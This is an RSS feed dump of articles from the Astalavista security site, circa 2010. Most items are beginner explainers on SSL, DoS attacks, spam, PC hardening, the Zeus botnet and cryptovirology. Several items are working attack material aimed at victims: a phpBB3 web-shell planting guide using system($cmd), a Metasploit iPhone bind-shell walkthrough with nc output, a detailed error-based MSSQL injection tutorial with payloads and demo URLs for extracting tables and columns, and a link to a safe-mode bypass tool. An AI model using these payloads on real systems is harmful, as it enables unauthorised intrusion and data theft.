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	<title>Articles</title>
	<link>http://www.astalavista.com/page/articles</link>
	<pubDate>Fri, 10 Feb 2012 00:42:08 +0000</pubDate>
	<ttl>43200</ttl>
	<description>Manage articles</description>
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		<title><![CDATA[What is SSL & How it works?]]></title>
		<link>http://www.astalavista.com/page/articles/_/general-information/what-is-ssl-how-it-works-r58</link>
		<description><![CDATA[This is basic information which is provided for beginners just to tell about what is SSL and How does it work and why websites use.<br />
OK lets start !<br />
<a href='http://3.bp.blogspot.com/_DDqbEuQE5HE/TPII7sdsN-I/AAAAAAAAAOs/HmtvMBKHNk8/s1600/lock_ok.gif' class='bbc_url' title='External link' rel='nofollow external'><br />
</a>SSL (Secure Sockets Layer) is the most widely used and most standard security technology for establishing an encrypted link between a web server and a browser.If a link is encrypted, it uses HTTPS protocol.<br />
<br />
<strong class='bbc'>Whats the difference of HTTP and HTTPS protocol?</strong><br />
In simple HTTP link is not encrypted and used for standard communication and HTTPS link is implemented using Secure Sockets Layer (SSL) which is encrypted and used for secure communication.<br />
<strong class='bbc'>How HTTP and HTTPS work?</strong><br />
Assume that there exists two communication parties A (client) and B  (server). Now A sends a message or password to B and a intruder (hacker)  gets an unauthorized access in between.<br />
Now lets study both the cases HTTP and HTTPS.<br />
<strong class='bbc'>case-1:</strong><br />
&lt;a href="http://3.bp.blogspot.com/_DDqbEuQE5HE/TPII6UVHyUI/AAAAAAAAAOo/Augm3tJZnTQ/s1600/http-without+ssl.PNG" style="margin-left: 1em; margin-right: 1em;"&gt;<span rel='lightbox'><img src='http://3.bp.blogspot.com/_DDqbEuQE5HE/TPII6UVHyUI/AAAAAAAAAOo/Augm3tJZnTQ/s1600/http-without+ssl.PNG' alt='Posted Image' class='bbc_img' /></span><br />
From case-1 you got to know that if an intruder (hacker) gets an  unauthorized access of an on going communication between A and B, A will  lose his/her confidential message or password like "helloworld".<br />
<br />
<strong class='bbc'>case-2:</strong><br />
<a href='http://4.bp.blogspot.com/_DDqbEuQE5HE/TPII5HNL1OI/AAAAAAAAAOk/VJCz2jJgc7A/s1600/https-with+ssl.PNG' class='bbc_url' title='External link' rel='nofollow external'><img src='http://4.bp.blogspot.com/_DDqbEuQE5HE/TPII5HNL1OI/AAAAAAAAAOk/VJCz2jJgc7A/s1600/https-with+ssl.PNG' alt='Posted Image' class='bbc_img' /></a><br />
From case-2 you got to know that if an intruder (hacker) gets an  unauthorized access of an on going communication between A and B, A will  not lose his/her confidential message or password like "helloworld"  because the message or password is encrypted.So the hacker gets the  encrypted password like <strong class='bbc'>"Xu587Tyus)"</strong>.<br />
<br />
<strong class='bbc'>How SSL works?</strong><br />
Each SSL Certificate consists of a Public key and a Private key. The  public key is used to encrypt the information and the private key is  used to decrypt it. When your browser connects to a secure domain, the  server sends a Public key to the browser to perform the encryption. The  public key is made available to every one but the private key(used for  decryption) is kept secret. So during a secure communication, the browser encrypts the message using the public key and sends it to the server. The message is decrypted on the server side using the Private key(Secret key).<br />
<br />
<strong class='bbc'>How to identify weather your connection is secure or not?</strong><br />
SSL is given with a key indicator to let the user know that they are  currently protected by an SSL encrypted session - the lock icon in the  lower right-hand corner, clicking on the lock icon displays your SSL  Certificate and the details about it.<br />
<a href='http://3.bp.blogspot.com/_DDqbEuQE5HE/TPII2tBZCtI/AAAAAAAAAOg/OXJv_x0I6LY/s1600/ssl-lock.gif' class='bbc_url' title='External link' rel='nofollow external'><img src='http://3.bp.blogspot.com/_DDqbEuQE5HE/TPII2tBZCtI/AAAAAAAAAOg/OXJv_x0I6LY/s1600/ssl-lock.gif' alt='Posted Image' class='bbc_img' /></a><br />
<br />
So the bottom line is, whenever you perform an online transaction such as Credit card payment, Bank login or Email login always ensure that you have a secure communication. A secure communication is a must in these situations. Otherwise there are chances of <a href='http://hoverpchacks.blogspot.com/2010/10/what-is-phishing.html' class='bbc_url' title='External link' rel='nofollow external'>Phishing</a>.<br />
<br />
Hope this helps you! pls pass your comments.<br />
SOURCE: <a href='http://hoverpchacks.blogspot.com' class='bbc_url' title='External link' rel='nofollow external'>Hover pc Hacks</a> <a href='http://www.bloggerplugins.org/2009/08/related-posts-for-blogger-widget.html' class='bbc_url' title='External link' rel='nofollow external'><img src='http://image.bloggerplugins.org/blogger-widgets.png' alt='Posted Image' class='bbc_img' /></a>]]></description>
		<pubDate>Tue, 30 Nov 2010 11:32:48 +0000</pubDate>
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		<title>The (h) hack licence</title>
		<link>http://www.astalavista.com/page/articles/_/lectures/the-h-hack-licence-r56</link>
		<description><![CDATA[<span rel='lightbox'><img src='http://hacklicence.ionixe.com/wp-content/uploads/2010/11/hack-licence-logo-400.png' alt='Posted Image' class='bbc_img' /></span><br />
<br />
 The hack license, symbolized by (h) licensing program, application, website or any other content built in source code as "hacked and open to new hacks."<br />
<br />
A (h) assumes that the licensed content from another that was before another license (without telling what content and its license) and has undergone so many changes that their existence has proved to be necessary to have materially different from the original features, which were "hacked".<br />
<br />
Content licensed with (h) was hacked, ie unchanged from its original features, either to improve or to meet other features.<br />
<br />
By licensing content with (h) recognizes that the developer used the basis of other content to do something new, and more: it gives the opportunity for others to do the same with what he created. <br />
<br />
The origin of (h) Licence<br />
A Hack License was instituted publicly by Zer0, also known as Hiago Robinson in 2004.<br />
<span rel='lightbox'><img src='http://hacklicence.ionixe.com/wp-content/uploads/2010/11/file5-4.jpg' alt='Posted Image' class='bbc_img' /></span><br />
Zer0 used this symbol in. Ico to mark the hacks that made from programs and applications, and then organize the folders on your computer, with only two folders, each with the same content, only one with unique programs and applications and another folder with the "hacks".  At the start hacking on the web, the markings &copy;, that simplicity, they mean: "Content protected by copyright laws," were replaced by (h), which means "Content changed and available free to change with the purpose improvement. "]]></description>
		<pubDate>Mon, 15 Nov 2010 15:43:49 +0000</pubDate>
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		<title>All about Denial Service Attacks and the Securi...</title>
		<link>http://www.astalavista.com/page/articles/_/general-information/all-about-denial-service-attacks-and-the-securi-r54</link>
		<description><![CDATA[Malicious hackers can threaten the security of your website by using several innovative but harmful methods. Some of these techniques are complex and only a highly technical person can understand them. One technique that these individuals often use is the denial of service attack (DoS attack) or distributed denial of service attack (DDoS.) Even if you have firewalls, some of these DoS attacks are too complex for most firewalls to handle.<br />
<br />
<strong class='bbc'>What are DoS and DDoS attacks?</strong><br />
<br />
These are attacks, which may be orchestrated by a person or a group of people to disallow the access of a website or service to online users. This is caused by a dysfunction of the website or its security failure due to a DoS or DDoS attack. It is classified as an expert hacking technique and it is punishable by law. <br />
<br />
How do hackers create DoS attacks? Here are some methods that can be used to compromise the security of your website, computer and operating system.<br />
<br />
<strong class='bbc'>Influx of Massive request to the website</strong><br />
<br />
Massive traffic influx can “crash” a website. Saturating the website with simultaneous external requests will effectively stop genuine organic traffic from accessing the website. If it does not crash, such action will slow down the server or reset the computer. Unless the website has the capacity to handle such occurrences, then security is breached and it may take a while to resolve the damage. A site’s bandwidth or disk space simply  cannot accommodate such numerous requests simultaneously.<br />
<br />
<strong class='bbc'>Malfunction of routers</strong><br />
<br />
Hackers can also destroy your website through your routers .Familiarize yourself with what routers your website can work with efficiently. If you are a small website, you may want to use static routing. For bigger websites, you can utilize complex topologies to ensure appropriate security for your website. If you can identify the signatures, you can use the IPS based prevention where your IPS or Intrusion Prevention Systems can help you ward off these DoS attacks. However, if you do not have the signatures, then it would be useless.<br />
<br />
<strong class='bbc'>Communication obstruction</strong><br />
<br />
Obstruction occurs between you and the users of your website, because your computer may be too slow to respond, upload or download files. Saturation of your processor could occur, and can completely crash your operating system. You can no longer connect to your website because of the infiltration of all of your security systems by DoS attacks.<br />
<br />
<strong class='bbc'>Triggering codes or unauthorized instructions sequencing </strong><br />
<br />
This will “confuse” your security or operating system and can cause it to get bogged down. It could also reset your whole computer system and destroy all the files in your hard disk. Hackers are capable enough to create trigger codes for the destruction of your website. All of your diligent work and business opportunities can be destroyed by just one destructive code.<br />
<br />
<strong class='bbc'>Peer to peer file sharing</strong><br />
<br />
When peer-to-peer file sharing is done like when watching international boxing bouts or tennis championships, the hacker can direct all peer-to-peer viewers to the target website. When thousands of online users connect to the target website, the tremendous amount of connections can harm your server, computer, and your online resources. If you are the target website then your security system is at a risk too.<br />
<br />
Other methods used by professional hackers to harm a website include teardrop attacks, degradation attacks, nuke attacks, reflected, or distributed attacks, and permanent denial of service attacks. All of these attacks can be used in destroying your website’s security and preventing online users to access your website. <br />
<br />
<strong class='bbc'>Sanctions for DoS and DDoS attacks </strong><br />
<br />
In the United Kingdom, these illegitimate hacking activities can mean a 10-year imprisonment. In the United States on the other hand, it is considered as a federal crime and is tried as such. Other countries have also adapted their own laws concerning DoS or DDoS attacks to ensure the security of websites, but there are still numerous problems to resolve, as hackers grow more and more intelligent and highly skilled in their malicious activities.]]></description>
		<pubDate>Tue, 19 Oct 2010 09:01:16 +0000</pubDate>
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		<title>Security Advice To Protect Against SPAM</title>
		<link>http://www.astalavista.com/page/articles/_/general-information/security-advice-to-protect-against-spam-r53</link>
		<description><![CDATA[Spam is one of the most annoying things that you can encounter while using your email accounts. These unsolicited email messages are usually sent by dubious individuals or companies trying to sell something to you. In some cases, they can even be very dangerous since many hackers use spam messages when looking for potential victims. Spam emails are usually sent en masse to various mailing lists, news groups and individuals, with the intent of hacking into their systems. Many people may not realize it but chances are, every single person who has an email account has received at least one spam email message. While spam can be annoying or bothersome for individuals with personal email accounts, they can also hit companies and organizations and they can be used to break through their security as well.<br />
<br />
Many spam emails messages also contain various forms of viruses, worms and other forms of malware that can harm a computer and compromise its security. This can be inconvenient for people who use computers at home, but it can have more pronounced negative effects in a company setting. This is because company computers are often connected to a network and if one terminal’s security is bypassed and it gets infected with malware, the chances of other computers in the network getting infected can go up as well.<br />
<br />
There are many ways of controlling spam depending on how you use your emails accounts. Free email accounts like gmail and yahoo mail often have spam security filters that do an acceptable job at sorting out spam emails. Many email clients like outlook and apple mail also have built in features that can help with managing spam. However, if you need a more robust and powerful solution to controlling spam, then there are a lot of really good commercial security products available in the market today.<br />
<br />
There are a number of different methods which can be used to block off spam; methods such as spam reporting, spam tracing, hiding your email from spammers, and spam blocking and filtering. All these methods are quite useful and will definitely lessen the amount of spam sent to your email. The following are short explanations on how these security techniques work.<br />
<br />
<strong class='bbc'>Spam reporting</strong><br />
This can be done quite simply as most emails come with this feature automatically built in. One has to simply label the received email as spam and the email provider will automatically block it off.<br />
<br />
<strong class='bbc'>Spam tracing</strong><br />
This is normally not necessary as there are much simpler ways to get rid of spam. This entails having to track down the sender and then reporting to your email provider.<br />
<br />
<strong class='bbc'>Hiding email</strong><br />
The easiest way to avoid spam is to avoid posting your email around the Internet. It is not a good idea to leave behind your email in forums or leave them visible within social networking sites as spammers will gladly send emails to any address.<br />
<br />
<strong class='bbc'>Blocking and filtering</strong><br />
Once spam is received, the email address of the sender can easily be blocked off and one would never have to worry about receiving email from them again as their email will be automatically filtered for your security.]]></description>
		<pubDate>Mon, 04 Oct 2010 14:07:19 +0000</pubDate>
		<guid isPermaLink="false">b3e3e393c77e35a4a3f3cbd1e429b5dc</guid>
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		<title>How to Improve Your Computer’s Security</title>
		<link>http://www.astalavista.com/page/articles/_/guides/how-to-improve-your-computer%e2%80%99s-security-r52</link>
		<description><![CDATA[These days, hackers are always on the lookout for vulnerable computer systems that they can exploit. This is one of the reasons why computer security is such a hot topic nowadays. Hackers do this for a number of reasons. Some do it for fun while most do it for profit. This is because many people store credit card information as well as other valuable information on their computers. Unscrupulous individuals take advantage of computers with weak security to gain access to this information for criminal purposes. Many companies and organizations have been the targets of countless hackers trying to steal information or take over computer resources. However, home users are also in a lot of danger. The good news is that there are many effective methods of beefing up your computer’s security. Here are some quick and easy tips to keep these cyber-criminals at bay.<br />
<br />
<br />
<strong class='bbc'>Use your Firewalls</strong><br />
<br />
Most operating systems come with built-in firewalls that can be used to improve computer security. However, not many people know how to use their firewalls properly. A firewall with inadequate settings can easily be breached by hackers. This is one of the reasons why it is so important to learn how to configure your firewall with the correct security settings.<br />
<br />
<br />
<strong class='bbc'>Learn about your Computer’s Entry Points</strong><br />
<br />
Entry points are very similar to doors that a hacker can use to gain access to your system. By learning about all of the entry points your computer has, you will be able to improve your computer’s security and prevent hacking attempts on your system. However, most computers have numerous entry points and it can be difficult to learn about them all. This is where security experts can help you. This is especially important if you run a small network in your business.<br />
<br />
<br />
<strong class='bbc'>Increase your Awareness</strong><br />
<br />
Hacking is now an unfortunate part of the world we live in. This is one of the reasons why you should do all you can to learn about hacking and computer security measures. Even if you are not a tech-savvy person, you can still keep your computer safe by learning about the importance of security updates, program patches and anti-virus software. There are many easy-to-use tools available in the market today; all you need to do is learn which items you need and how to use them effectively.<br />
<br />
<br />
<strong class='bbc'>Testing your Network’s Security</strong><br />
<br />
Performing an attack and penetration test is a very good way of analyzing the security of your network. This method is used to identify potential weak points in your computer network. Once you identify loopholes, you can then start implementing special measures to make your network harder to crack.<br />
<br />
<br />
<strong class='bbc'>Use Passwords</strong><br />
<br />
This is one of the simplest and most effective ways of making your system more secure. Learn how to create strong passwords that are difficult to crack. This will make your system very difficult to hack and access. You should also make it a habit to change your passwords every two months or so. Well-made passwords make use of both numbers and letters to make it more difficult for uninvited guests to log onto your computer.<br />
<br />
<br />
<strong class='bbc'>Monitor your Device Services</strong><br />
<br />
Your system uses many devices and services to work properly. However, some of these services pose a significant security threat to your system. You should disable services that you do not need to minimize the risk of someone breaking into your system.<br />
<br />
<br />
<strong class='bbc'>Use Anti-Virus Software</strong><br />
<br />
There are many reliable anti-virus software packages in the market today. This is one of the best ways to improve your computer’s security from viruses, Trojan horses, worms, bots, and hackers.]]></description>
		<pubDate>Wed, 29 Sep 2010 07:43:40 +0000</pubDate>
		<guid isPermaLink="false">37a749d808e46495a8da1e5352d03cae</guid>
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		<title>On Zeus Botnet and Security</title>
		<link>http://www.astalavista.com/page/articles/_/general-information/on-zeus-botnet-and-security-r51</link>
		<description><![CDATA[The zeus botnet is a dangerous and malicious application which is frequently used to target the security systems of banks and for hacking information and details from specifically-targeted users. Zeus is also known as zbot, PRG, gorhax, wsnpoem, and kneber. It is a Trojan horse which steals banking information through the use of keystroke logging and is spread mainly through the use of drive-by downloads and phishing ploys. It was first identified in July of 2006 when it was used as a means of breaking past the security of the United States Department of Transportation to steal information. It became more widespread 2 years later and a security company had discovered that hackers have been able to compromise the security of over 74,000 FTP accounts on different websites of several companies including the Bank of America, NASA, monster, and Amazon, to name a few.<br />
<br />
The current zeus botnet is estimated to have compromised the security of millions of computers around the world. It is worth noting that as of October 2009, zeus has sent out over 1.5 million phishing messages through Facebook. It was on November 2009 that an English couple was arrested for allegedly using zeus as a hacking tool to steal personal data. There were also a total of over 9 million phishing emails sent supposedly through Verizon wireless. It is worth noting that zeus is still active and that there is a report which states that credit cards of over 15 unnamed US banks have had their security compromised. The most recent outbreak of zeus is now being called Kneber.<br />
<br />
The zeus botnet is known to only target windows machines and computers, specifically those running on windows XP professional SP2. Reports state that there are currently no infections within computers that run on windows 7. Zeus is normally found within machines in corporate and government infrastructures, but personal home computers can be infected as well. <br />
The zeus botnet can be used to bypass the security of online social networks, email accounts and financial services. Sites whose security has been seriously compromised are Facebook, Yahoo and Sonico, to name a few. It is known that focus has been placed on email and social networking sites, but zeus is now targeting the security of online banking sites as well.<br />
<br />
It is not difficult to find zeus on the Internet. It can normally be found within underground hacking forums. There are even zeus builder toolkits which allow hackers all around the world to customize zeus and use its functions any way they want. The zeus botnet normally breaches a user’s security through spam emails which may seem to be from legitimate websites. These emails can contain links to various different downloads which will usually house a variant of zeus botnet. If the infected file is downloaded, zeus will automatically be installed within the computer. Common ways of tricking people to download an infected file while within social networking sites is to send users messages which claim that they must download an update patch or tool which is needed to run through the site more smoothly or such.<br />
<br />
Once it is installed, zeus will wait until the user connects to the Internet and downloads a configuration file which will have a list of web banking websites to gather the user’s information. Once an infected computer is used to access a banking website, the zeus botnet will launch a keylogger function and save all the keystrokes of the user. Some variants of zeus will even have an agent within the web browser and may inject false fields within web forms which the common user will normally fill up, which leads to him to compromising his security even further. Zeus will then send this information to the hacker. One would be wise to periodically have virus scans in order to check whether or not their system is clean and make sure that the security is uncompromised.]]></description>
		<pubDate>Mon, 27 Sep 2010 07:20:51 +0000</pubDate>
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		<title>Uploading shell into phpbb3 via admin account</title>
		<link>http://www.astalavista.com/page/articles/_/lectures/uploading-shell-into-phpbb3-via-admin-account-r50</link>
		<description><![CDATA[Hi, i will show how to upload shell on phpbb3 via admin account.First, go to: Admin panel, Security settings, Allow php templates and check yes. Second: Styles, Templates, Edit, faq_body.html and put the code:<br />
<br />
<pre class='prettyprint'>system($cmd);</pre>
<br />
After this, go to <br />
<pre class='prettyprint'>www.victim.com/forum/faq.php?cmd=&#91;command&#93;</pre>
<br />
God Luck !!<br />
fLaShcRew.In]]></description>
		<pubDate>Sun, 26 Sep 2010 12:28:45 +0000</pubDate>
		<guid isPermaLink="false">7ef605fc8dba5425d6965fbd4c8fbe1f</guid>
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		<title>What is Cryptovirology?</title>
		<link>http://www.astalavista.com/page/articles/_/lectures/what-is-cryptovirology-r49</link>
		<description><![CDATA[Cryptovirology traces its roots to the science of cryptology and virology.  On the surface, one may say that it deals with the use of viruses (virology aspect) to extract crypts (cryptology aspect) and breach the security of a system.  In order for you to understand what cryptovirology is and how it affects security, the following discussion is necessary.  <br />
<br />
<span style='font-size: 10px;'><strong class='bbc'>How is security attained by a system?</strong></span><br />
<br />
Cryptology deals with the theories and application of formulas and algorithms to attain security in a system.  It further involves cryptography and cryptanalysis.  <br />
<br />
Cryptography studies the process or skill of communicating in or deciphering secret writings or ciphers.   In order for data to possess a certain level of security for storage or transmission, it must be stored or transmitted in a form that is difficult to understand by an unauthorized individual. The “intractability” or difficulty of the mathematical equations used in the security process accounts for the basis of cryptography.  On the other hand, cryptanalysis studies ciphers, ciphertext or cryptosystems with a view to finding weaknesses in them that will permit retrieval of the plaintext from the ciphertext without necessarily knowing the key or the algorithm, thus breaking the security.     <br />
<br />
Cryptovirology, therefore, involves program developers who use cryptography to design powerful malicious software to attack the security of a system or security of a user’s information.  <br />
<br />
<span style='font-size: 10px;'><strong class='bbc'>How did this field begin?</strong></span><br />
<br />
Cryptovirology began when virus writers tried to break the security of a system through the use of public-key cryptography.  Public-key cryptography breaks the symmetry between what an antivirus analyst sees regarding a virus and what the virus writer sees. The antivirus analyst sees only a public key, while the virus writer sees both a public key and a private key. <br />
<br />
Historians say that the first attack in the field of cryptovirology involved cryptoviral extortion.  In here, hackers used a virus or worm or Trojan hybrid to encrypt files of a victim and literally extort money from the victim.  After hacking, the victim has to pay the hackers to receive the needed session key just to be able to get the files back.  These viruses also go by the name ransomware.<br />
<br />
<span style='font-size: 10px;'><strong class='bbc'>What are the dangers of cryptovirology on security?</strong></span><br />
<br />
Cryptovirology poses a threat on security because it can be used to extort money by file hacking.  In addition to this, it attacks and steals private information such as private keys.  Private keys are stolen with the use of asymmetric backdoors.  The attacker, and no one else, uses an asymmetric backdoor. This asymmetric backdoor differs from traditional symmetric backdoors because anyone that finds it can use it. <br />
<br />
Kleptography, a subfield of cryptovirology, deals mainly with the study of asymmetric back doors in key generation algorithms, digital signature algorithms, key exchanges, and so on.<br />
<br />
Attackers use cryptoviruses in deniable password snatching used with cryptocounters, private information retrieval, and to secure communication between different instances of a distributed cryptovirus.<br />
<br />
<span style='font-size: 10px;'><strong class='bbc'>What are examples of cryptoviruses?</strong></span><br />
<br />
Examples of cryptoviruses include Tremor Virus, One-half virus, Tro_Ransom.A virus, Virus, and Win32.Gpcode.ag. <br />
<br />
Viruses such as the Tremor Virus use cryptography to avoid detection by antivirus software. <br />
<br />
Virus writers can also use cryptography to enhance the longevity of the virus, such as in the case of One-half virus. <br />
<br />
Tro_Ransom.A asks the owner of the infected machine to send $10.99 to a given account through Western Union. Tro_Ransom.A exemplifies a ransomware used for cryptoviral extortion.<br />
<br />
Virus.Win32.Gpcode.ag instructs the owner of the machine to email a given mail ID if the owner desires the decryptor.  The user will then pay a certain amount as ransom in return for the decryptor.  <br />
<br />
All of these viruses threaten a system or a person’s security.]]></description>
		<pubDate>Wed, 15 Sep 2010 07:19:27 +0000</pubDate>
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		<title>HOW TO ENTER ON IPHONE USING SHELLCODE CUSTOM V...</title>
		<link>http://www.astalavista.com/page/articles/_/lectures/how-to-enter-on-iphone-using-shellcode-custom-v-r48</link>
		<description><![CDATA[<strong class='bbc'>Since the shell code is no fun unless you can do something with it,I added support for iphone executables to the msfpayload command.This allows you to generate standalone bind/reverse shell executables using the following syntax metasploit commands:<br />
<br />
$ msfpayload osx/armle/shell_bind_tcp LPORT=4444 X &gt; iphone_bindshell.bin<br />
<br />
This binary can be copied to the iphone using SSH	or Iphuc/iPhoneTool and executed.<br />
<br />
$ ssh root@192.168.1.4<br />
# chmod +X iphone_bindshell.bin<br />
# ./iphone_bindshell.bin<br />
# ./iphone_bindshell.bin<br />
--<br />
$ nc –vvn 192.168.1.4 4444<br />
(UNKNOWN) [192.168.1.4] 4444 (krb524) open<br />
id<br />
uid=0 euid=1 gid=0 (wheel) groups=0 (wheel)<br />
uname -a<br />
Darwin Metasploit Developer's iphone 9.0.0d1<br />
Darwin Kernel Version 9.0.0d1: Fri Jun 22 00:38:56 PDT 2007;<br />
root:xnu-933.0.1.178.obj~1/RELEASE_ARM_S5L8900XRB<br />
iphone1,1 Darwin<br />
<br />
Once the XOR encoder is done,the only step left is to find the bugs and write the exploits.</strong>]]></description>
		<pubDate>Thu, 09 Sep 2010 14:06:25 +0000</pubDate>
		<guid isPermaLink="false">47d1e990583c9c67424d369f3414728e</guid>
	</item>
	<item>
		<title><![CDATA[Sun Symlink Safe-Over [Bypass Forbidden Error -...]]></title>
		<link>http://www.astalavista.com/page/articles/_/lectures/sun-symlink-safe-over-bypass-forbidden-error-r47</link>
		<description><![CDATA[Hello all,<br />
this tool bypass forbidden[403] and permisson denied error in symlink methode...<br />
and bypass php safe-mode prior 5.3.1 version<br />
<br />
video:http://www.4shared.com/file/F-DOODHu/SS-Film.html<br />
tool:http://tool.sun-army.org]]></description>
		<pubDate>Mon, 06 Sep 2010 18:27:38 +0000</pubDate>
		<guid isPermaLink="false">8d5e957f297893487bd98fa830fa6413</guid>
	</item>
	<item>
		<title>Exctract Table and Columns name in MsSQL ( .cfm...</title>
		<link>http://www.astalavista.com/page/articles/_/lectures/exctract-table-and-columns-name-in-mssql-cfm-r46</link>
		<description><![CDATA[<pre class='prettyprint'>###################################
Title: Exctract Table and Columns name in MsSQL ( .cfm & .asp )
-
Author: DaNZeL
-
WebSite: http&#58;//www.GoldHaxors.Com
-
Hotmail: danzel@flash-crew.com
-
Yahoo: FlashcRew@Yahoo.com
###################################</pre>
<br />
<br />
Hi allz ..<br />
I want to tech you how to exctract Tables And Columns from MsSQL shop's ..<br />
some people has ben a interes for that ..<br />
and i write for you .<br />
<br />
-<br />
Get the Version:<br />
<pre class='prettyprint'>and 1=convert(int,@@version)--sp_password</pre>-<br />
Get Server Name :<br />
<pre class='prettyprint'>and 1=convert(int,@@servername)--sp_password</pre>
Demo:<br />
<pre class='prettyprint'>http&#58;//site.com/view.cfm?id=56 and 1=convert(int,@@servername)--sp_password</pre>
[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'SERVER NAME HERE' to a column of data type int.<br />
<br />
-<br />
Get data base name:<br />
<br />
<br />
<pre class='prettyprint'>and 1=convert(int,db_name())--sp_password
and 1=convert(int,db_name(1))--sp_password
and 1=convert(int,db_name(2))--sp_password
and 1=convert(int,db_name(3))--sp_password
and 1=convert(int,db_name(4))--sp_password</pre>etc ...<br />
<br />
<br />
Demo:<br />
<pre class='prettyprint'>http&#58;//site.com/view.cfm?id=56 and 1=convert(int,db_name())--sp_password
http&#58;//site.com/view.cfm?id=56 and 1=convert(int,db_name(2))--sp_password</pre>
<br />
[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'DB NAME HERE' to a column of data type int.<br />
<br />
<br />
-<br />
Get system user :<br />
<pre class='prettyprint'>and 1=convert(int,system_user)--sp_password</pre>
<br />
<pre class='prettyprint'>http&#58;//site.com/view.cfm?id=56 and 1=convert(int,system_user)--sp_password</pre>
[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'System User' to a column of data type int.<br />
<br />
<br />
-<br />
<br />
-<br />
Get the first Table :<br />
<pre class='prettyprint'>and 1=convert(int,(select top 1 table_name from information_schema.tables))--sp_password</pre>
demo :<br />
<pre class='prettyprint'>http&#58;//site.com/view.cfm?id=56 and 1=convert(int,(select top 1 table_name from information_schema.tables))--sp_password</pre>
We get this error:<br />
[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'First TAble Here' to a column of data type int.<br />
<br />
-<br />
<br />
Get the second table:<br />
<pre class='prettyprint'>and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ("FIRST-TABLE-HERE")))--sp_password</pre>
example:<br />
<pre class='prettyprint'>http&#58;//site.com/view.cfm|id=56 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ("FIRST-TABLE-HERE")))--sp_password</pre>
<br />
[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'Second Table is Here' to a column of data type int.<br />
<br />
<br />
-<br />
Get Next Table <br />
<pre class='prettyprint'>and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('table1,'Table2')))--sp_password </pre>
<br />
<br />
-<br />
<br />
Get the 3 table :<br />
<pre class='prettyprint'>and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ("Second-Table-Here")))--sp_password</pre>
<pre class='prettyprint'>http&#58;//site.com/view.cfm?id=56 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ("Second-Table-Here")))--sp_password</pre>
[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value '3 Table' to a column of data type int.<br />
<br />
And we get the 3 table .. for get more table go with step with last table ..<br />
<br />
<br />
--<br />
<br />
Now you need to get the columns in any table :<br />
<br />
We goo with this process ..<br />
<br />
Get first columns from table 1 :<br />
<pre class='prettyprint'>and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-NAME-HERE")))--sp_password</pre>
<pre class='prettyprint'>http&#58;//site.com/view.cfm?id=56 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-NAME-HERE")))--sp_password</pre>
and we get the first columns in this table<br />
<br />
[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'Column Name here' to a column of data type int.<br />
<br />
--<br />
<br />
Get second column :<br />
<pre class='prettyprint'>and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-NAME-HERE") and column_name not in ("FIRST-COLUMNS-HERE")))--sp_password</pre>
<br />
<pre class='prettyprint'>http&#58;//site.com/view.cfm?id=56and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-NAME-HERE") and column_name not in ("FIRST-COLUMNS-HERE")))--sp_password</pre>
and we will get te second columns<br />
<br />
[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'Second Column here' to a column of data type int.<br />
<br />
--<br />
<br />
Get 3 columns :<br />
<pre class='prettyprint'>and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-NAME-HERE") and column_name not in ("SECOND-COLUMNS-HERE")))--sp_password</pre>
<pre class='prettyprint'>http&#58;//site.com/view.cfm?id=56and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-NAME-HERE") and column_name not in ("SECOND-COLUMNS-HERE")))--sp_password</pre>
and we have column number 3<br />
<br />
[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'COLUMN-NR-3' to a column of data type int.<br />
<br />
<br />
and in this method you use in next step ..<br />
<br />
Don't Forget to change the commands in SQL Char<br />
For any help Email me<br />
<br />
Peace<br />
Danzel / Flashcrew]]></description>
		<pubDate>Sun, 05 Sep 2010 10:10:18 +0000</pubDate>
		<guid isPermaLink="false">a5e00132373a7031000fd987a3c9f87b</guid>
	</item>
	<item>
		<title>Disable Wireless When Connected to LAN</title>
		<link>http://www.astalavista.com/page/articles/_/general-information/disable-wireless-when-connected-to-lan-r45</link>
		<description><![CDATA[Wireless today has become a standard interface in every laptop and in most cases it connects automatically to the nearest Access Point it discovers. Most organizations provide unsecured Wireless connectivity to public networks like the internet for their guests through local Wireless Access Points that works in stand alone mode and disconnected completely from organization LAN.  However, when a company employee is using his laptop for connecting to the organization LAN the WiFi adapter of the laptop will automatically try to connect to the nearest wireless Access Point. In most cases the nearest wireless Access Point that the employee laptop will discover will be the organization unsecured wireless network. Now, the employee laptop will become the perfect bridge connection to the organization LAN for any potential intruder from the internet or from the local unsecured wireless network. Because of the duplicate connection the employee laptop will consume duplicate network resources and the employee can suffer from unstable network connectivity.<br />
<br />
The above scenario is becoming a day by day issue as wireless networks become common standard in every laptop. Lan-Secure <a href='http://www.lan-secure.com/WirelessAutoDisable.htm' class='bbc_url' title='External link' rel='nofollow external'>Wireless Auto Disable</a> has the perfect solution to deal with the organization wireless management and security. The software will automatically disable WiFi adapters on computers that connected to the company network with LAN cable and re-enable WiFi when the LAN cable is disconnected from the computer.<br />
<br />
<strong class='bbc'>How does it work?</strong><br />
